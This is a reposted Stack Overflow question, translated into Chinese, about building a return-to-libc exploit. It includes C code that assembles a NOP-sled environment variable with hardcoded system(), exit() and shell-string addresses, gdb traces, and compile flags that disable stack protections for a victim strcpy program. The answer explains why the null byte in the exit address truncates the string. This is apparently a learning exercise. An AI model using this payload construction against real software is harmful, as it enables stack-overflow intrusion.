gpt4 book ai didi

c - 为什么 putenv(buf) 无法正常工作,因为 memcpy(buf + 92, "\x00\x14\xe4\xf7", 4) 将 a\x00 字节复制到 buf ?

转载 作者:行者123 更新时间:2023-11-30 17:31:40 25 4
gpt4 key购买 nike

我使用的是 ubuntu 14.04。所以我有最新的内核。我正在尝试返回 libc 方法。

这是我创建环境变量的代码,稍后将其输入到受害者代码

 #include<stdio.h>
#include<stdlib.h>
#include<string.h>

#define BUFFER_SIZE 104
#define NOP 0x90

char systemAddr[] = "\xb0\xe3\xe4\xf7";
char exitAddr[] = "\x00\x14\xe4\xf7";
char bashAddr[] = "\xcc\xd9\xe9\xff";

int main()
{

char *buf;
int bsize = BUFFER_SIZE;

if(!(buf = (char *)malloc(bsize)))
{
printf("can't allocate memory!");
exit(0);
}

memset(buf, NOP, 104);
memcpy(buf, "BUF=", 4);
memcpy(buf + 88, systemAddr, 4 );

memcpy(buf + 92, "\x00\x14\xe4\xf7" , 4); //memcpy(buf + 92, exitAddr, 4);
memcpy(buf + 96, bashAddr, 4);

memcpy(buf + 100, "\x00\x00\x00\x00", 4);

printf("%s \n", buf);
putenv(buf);
system("/bin/bash");


return 0;
}

问题出在这一行,

memcpy(buf + 92, "\x00\x14\xe4\xf7", 4);//memcpy(buf + 92, exitAddr, 4);

在我用 null(\x00) 给出地址后,当我检查 $BUF 时,在 buf+92 位置会看到一些不同的值。最多 88 字节,所有复制均已成功完成。但我未能将 exitAddr 复制到第 92-95 个字节。我认为这是因为开始“\x00”。如果我尝试使用“(如果我给出\xaa\xaa\xaa\xaa 它工作正常)”。工作正常!

我给出了我的程序的 gdb 输出

(gdb) run 
Starting program: /home/Stack Overflow/From tube/Ret2Libc

Breakpoint 1, main () at Ret2Libc.c:40
40 memcpy(buf + 100, "\x00\x00\x00\x00", 4);

(gdb) x/1s buf
0xffffcf1c: "BUF=", '\220' <repeats 84 times>, "\260\343\344", <incomplete sequence \367>

(gdb) x/4xw buf+88
0xffffcf74: 0xf7e4e3b0 0xf7e41400 0xffe9d9cc 0x90909090

(gdb) s

Breakpoint 2, main () at Ret2Libc.c:43
43 putenv(buf);

(gdb) x/4xw buf+88
0xffffcf74: 0xf7e4e3b0 0xf7e41400 0xffe9d9cc 0x000000

(gdb) s

Breakpoint 3, main () at Ret2Libc.c:44
44 system("/bin/sh");

(gdb) x/4xw buf+88
0xffffcf74: 0xf7e4e3b0 0xf7e41400 0xffe9d9cc 0x000000
(gdb) s
$ $BUF
/bin/sh: 1: ��������������������������������������������������������������������������������​��������: not found
$ exit

Breakpoint 4, main () at Ret2Libc.c:47
47 return 0;
(gdb) x/4xw buf+88
0xffffcf74: 0xf7e4e3b0 0xf7e41400 0xffe9d9cc 0x000000

(gdb) s
48 }
(gdb) x/4xw buf+88
0xffffcf74: 0xf7e4e3b0 0xf7e41400 0xffe9d9cc 0x000000

(gdb) c
Continuing.
[Inferior 1 (process 4808) exited normally]
(gdb)

你注意到了吗。 “buf 变量直到最后都具有实际值”。

现在,当我执行受害者代码时,如下所示,

$ gcc -ggdb -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -o Ret2Libc Ret2Libc.c

Notebook-PC:$ ./Ret2Libc
$ $BUF
/bin/sh: 1: ����������������������������������������������������������������������������������������: not found
$ gdb ./victim

Reading symbols from ./victim...done.

(gdb) b 12
Breakpoint 1 at 0x804848e: file victim.c, line 12.

(gdb) run $BUF
Starting program: /home/mj/victim $BUF
aa

Breakpoint 1, main (argc=2, argv=0xffffcf24) at victim.c:12
12 strcpy(array, argv[1] );

(gdb) x/8xw argv[1]
0xffffd156: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd166: 0x90909090 0x90909090 0x90909090 0x90909090

(gdb) x/8xw argv[1]+88
0xffffd1ae: 0x47445800 0x4e54565f 0x00373d52 0x5f474458
0xffffd1be: 0x53534553 0x5f4e4f49 0x633d4449 0x53530032

(gdb) x/8xw argv[1]+84
0xffffd1aa: 0xf7e4e3b0 0x47445800 0x4e54565f 0x00373d52
0xffffd1ba: 0x5f474458 0x53534553 0x5f4e4f49 0x633d4449

这里我们可以看到从argv 1 +88开始数据发生了变化。怎么样?是因为exitAddr中的“\x00”吗?我该如何克服这个问题?

The same discussion is here also,please refer this too..

最佳答案

正如 @mafso 指出的,putenv(buf) 需要一个字符串。在 C 中,字符串是一个 char 数组,直到并包括终止符 '\0'

所以当buf = "BUF=...\x00\x14\xe4\xf7"; putenv(buf);,就好像 buf = "BUF=..."; 已被编码。

建议将 0x0014e4f7 的所需地址编码为 4 个 char,而建议将地址编码为 8 个十六进制字符 buf = "BUF=...0014e4f7"; 当然,解码地址需要考虑新的格式。

关于c - 为什么 putenv(buf) 无法正常工作,因为 memcpy(buf + 92, "\x00\x14\xe4\xf7", 4) 将 a\x00 字节复制到 buf ?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/24516778/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com